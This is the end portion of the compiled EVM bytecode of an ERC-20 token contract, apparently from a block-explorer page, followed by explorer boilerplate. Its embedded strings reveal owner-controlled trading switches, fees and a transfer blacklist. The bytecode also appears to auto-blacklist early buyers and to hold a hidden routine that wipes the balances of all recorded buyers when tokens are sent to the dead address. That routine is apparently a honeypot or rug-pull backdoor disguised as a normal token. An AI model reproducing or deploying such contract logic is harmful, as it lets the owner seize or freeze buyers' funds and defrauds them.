57600080fd5b506102636104f9366004611fb2565b610db3565b34801561050a57600080fd5b5061023e610519366004611fb2565b610e29565b34801561052a57600080fd5b50610276610539366004611ed9565b610f58565b34801561054a57600080fd5b50610263610f83565b34801561055f57600080fd5b50610276600e5481565b34801561057557600080fd5b50610263610584366004611e98565b610f8b565b34801561059557600080fd5b50610276600d5481565b3480156105ab57600080fd5b5061023e6105ba366004611e98565b60196020526000908152604090205460ff1681565b6060600380546105de9061220b565b80601f016020809104026020016040519081016040528092919081815260200182805461060a9061220b565b80156106575780601f1061062c57610100808354040283529160200191610657565b820191906000526020600020905b81548152906001019060200180831161063a57829003601f168201915b5050505050905090565b60003361066f818585611001565b5060019392505050565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106b2573d6000803e3d6000fd5b50565b6000336106c3858285611125565b6106ce858585611199565b506001949350505050565b60003361066f8185856106ec8383610f58565b6106f6919061219b565b611001565b610703611777565b6001600160a01b03811660009081526019602052604090205460ff1615156001146107755760405162461bcd60e51b815260206004820152601f60248201527f4163636f756e74206973206e6f7420696e2074686520626c61636b6c6973740060448201526064015b60405180910390fd5b6001600160a01b03166000908152601960205260409020805460ff19169055565b6006546001600160a01b0316336001600160a01b0316146107b657600080fd5b6009805460ff60a81b19169055565b6107cd611777565b6006546040516001600160a01b03918216918316907f362a006325d32978b283e449d254cfcf93e2cccc321603ead9a74238d8dbf36e90600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b610832611777565b61083c60006117d1565b565b6107b6611777565b61084e611777565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6060600480546105de9061220b565b610890611777565b6005546001600160a01b0316156108e05760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b604482015260640161076c565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611ebc565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c357600080fd5b505afa1580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fb9190611ebc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7b9190611ebc565b600580546001600160a01b0319166001600160a01b0392909216918217905561083c906001611823565b610aad611777565b600954600160a81b900460ff16610b065760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74206368616e676520617420746869732073746167650000000000604482015260640161076c565b6103e8610b1260025490565b610b1d9060016121d5565b610b2791906121b3565b8211610b695760405162461bcd60e51b81526020600482015260116024820152704d617820545820697320746f6f206c6f7760781b604482015260640161076c565b6103e8610b7560025490565b610b8090600a6121d5565b610b8a91906121b3565b8111610bd05760405162461bcd60e51b81526020600482015260156024820152744d61782077616c6c657420697320746f6f206c6f7760581b604482015260640161076c565b600c91909155600d55565b60003381610be98286610f58565b905083811015610c495760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161076c565b6106ce8286868403611001565b60003361066f818585611199565b610c6c611777565b6001600160a01b038216600081815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610cd3611777565b6011849055601283905560138290556014819055610cf1838561219b565b600f55601454601354610d04919061219b565b601055600f5460641015610d5a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c657373000000604482015260640161076c565b60646010541115610dad5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c657373000000604482015260640161076c565b50505050565b610dbb611777565b600954600160b01b900460ff1615610e0d5760405162461bcd60e51b81526020600482015260156024820152742a3930b2329034b99030b63932b0b23c9037b832b760591b604482015260640161076c565b6009805460ff60b01b1916600160b01b179055600b5543600a55565b6000610e33611777565b620186a0610e4060025490565b610e4b9060016121d5565b610e5591906121b3565b821015610ec25760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161076c565b6103e8610ece60025490565b610ed99060056121d5565b610ee391906121b3565b821115610f4f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b606482015260840161076c565b50600e55600190565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61083c611877565b610f93611777565b6001600160a01b038116610ff85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161076c565b6106b2816117d1565b6001600160a01b0383166110635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161076c565b6001600160a01b0382166110c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161076c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006111318484610f58565b90506000198114610dad578181101561118c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161076c565b610dad8484848403611001565b6001600160a01b0383166111bf5760405162461bcd60e51b815260040161076c906120e5565b6001600160a01b0382166111e55760405162461bcd60e51b815260040161076c906120a2565b6001600160a01b03831660009081526019602052604090205460ff161561125f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e736665722066726f6d20626c61636b6c6973746564604482015267081858d8dbdd5b9d60c21b606482015260840161076c565b600081116112bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20616d6f756e74206d75737420626520677265617465722074686044820152630616e20360e41b606482015260840161076c565b6001600160a01b03831660009081526016602052604090205460ff16806112fa57506001600160a01b03821660009081526016602052604090205460ff165b61134f57600954600160b01b900460ff1661134f5760405162461bcd60e51b815260206004820152601560248201527454726164696e67206973206e6f742061637469766560581b604482015260640161076c565b601554600e54811080159081906113705750600954600160a01b900460ff16155b801561139557506001600160a01b03851660009081526018602052604090205460ff16155b80156113ba57506001600160a01b03851660009081526016602052604090205460ff16155b80156113df57506001600160a01b03841660009081526016602052604090205460ff16155b1561140d576009805460ff60a01b1916600160a01b1790556113ff611877565b6009805460ff60a01b191690555b6009546001600160a01b03861660009081526016602052604090205460ff600160a01b90920482161591168061145b57506001600160a01b03851660009081526016602052604090205460ff165b15611464575060005b6001600160a01b03861660009081526017602052604090205460ff161580156114a657506001600160a01b03851660009081526017602052604090205460ff16155b80156114c35750600954600160a81b900460ff1680156114c35750805b156115af57600c5484111561151a5760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e7420657863656564656400604482015260640161076c565b6001600160a01b03861660009081526018602052604090205460ff16156115af57600d546001600160a01b038616600090815260208190526040902054611561908661219b565b11156115af5760405162461bcd60e51b815260206004820152601a60248201527f4d61782077616c6c657420616d6f756e74206578636565646564000000000000604482015260640161076c565b6000808215611762576001600160a01b03881660009081526018602052604090205460ff161561168d57600b54600a546115e9919061219b565b431015611614576001600160a01b0387166000908152601960205260409020805460ff191660011790555b6103e8600f548761162591906121d5565b61162f91906121b3565b9150600f546012548361164291906121d5565b61164c91906121b3565b6015600082825461165d919061219b565b9091555050600f5460115461167290846121d5565b61167c91906121b3565b611686908261219b565b9050611723565b6001600160a01b03871660009081526018602052604090205460ff1615611723576103e8601054876116bf91906121d5565b6116c991906121b3565b9150601054601454836116dc91906121d5565b6116e691906121b3565b601560008282546116f7919061219b565b909155505060105460135461170c90846121d5565b61171691906121b3565b611720908261219b565b90505b81156117555761173d883061173884866121f4565b611997565b6006546117559089906001600160a01b031683611997565b61175f82876121f4565b95505b61176d888888611997565b5050505050505050565b6008546001600160a01b0316331461083c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161076c565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b30600090815260208190526040902054601554811580611895575080155b1561189e575050565b600e548211156118ae57600e5491505b6040517f3f468fa137d8f3bc1ed0165066ae4356a2665e48e7a5fe32b9a20860a380a58790600090a16000600282601554856118ea91906121d5565b6118f491906121b3565b6118fe91906121b3565b9050600061190c82846121f4565b90504761191882611b3e565b600061192482476121f4565b6000601555905080841580159061193b5750600081115b1561198e5761194a8582611ca7565b601554604080518681526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b50505050505050565b6001600160a01b0383166119bd5760405162461bcd60e51b815260040161076c906120e5565b6001600160a01b0382166119e35760405162461bcd60e51b815260040161076c906120a2565b6001600160a01b03831660009081526020819052604090205481811015611a5b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161076c565b6005546001600160a01b0385811691161415611abd57600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03831661dead1415611ad857611ad8611d8b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610dad565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b7357611b73612277565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bc757600080fd5b505afa158015611bdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bff9190611ebc565b81600181518110611c1257611c12612277565b6001600160a01b039283166020918202929092010152600954611c389130911684611001565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c7190859060009086903090429060040161212a565b600060405180830381600087803b158015611c8b57600080fd5b505af1158015611c9f573d6000803e3d6000fd5b505050505050565b600954611cbf9030906001600160a01b031684611001565b6009546001600160a01b031663f305d719823085600080611ce86008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611d4b57600080fd5b505af1158015611d5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d849190611fed565b5050505050565b60005b600754811015611e6157600554600780546001600160a01b039092169183908110611dbb57611dbb612277565b6000918252602090912001546001600160a01b031614801590611e0e5750306001600160a01b031660078281548110611df657611df6612277565b6000918252602090912001546001600160a01b031614155b15611e5157600080600060078481548110611e2b57611e2b612277565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b611e5a81612246565b9050611d8e565b5061083c6007805460008255906000526020600020908101906106b291905b80821115611e945760008155600101611e80565b5090565b600060208284031215611eaa57600080fd5b8135611eb58161228d565b9392505050565b600060208284031215611ece57600080fd5b8151611eb58161228d565b60008060408385031215611eec57600080fd5b8235611ef78161228d565b91506020830135611f078161228d565b809150509250929050565b600080600060608486031215611f2757600080fd5b8335611f328161228d565b92506020840135611f428161228d565b929592945050506040919091013590565b60008060408385031215611f6657600080fd5b8235611f718161228d565b915060208301358015158114611f0757600080fd5b60008060408385031215611f9957600080fd5b8235611fa48161228d565b946020939093013593505050565b600060208284031215611fc457600080fd5b5035919050565b60008060408385031215611fde57600080fd5b50508035926020909101359150565b60008060006060848603121561200257600080fd5b8351925060208401519150604084015190509250925092565b6000806000806080858703121561203157600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b8181101561207a5785810183015185820160400152820161205e565b8181111561208c576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561217a5784516001600160a01b031683529383019391830191600101612155565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121ae576121ae612261565b500190565b6000826121d057634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121ef576121ef612261565b500290565b60008282101561220657612206612261565b500390565b600181811c9082168061221f57607f821691505b6020821081141561224057634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561225a5761225a612261565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146106b257600080fdfea2646970667358221220bddda9cd2517f2c17aaba85548f740387e233863f56b4a08ce3d6c71376e20f764736f6c63430008070033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.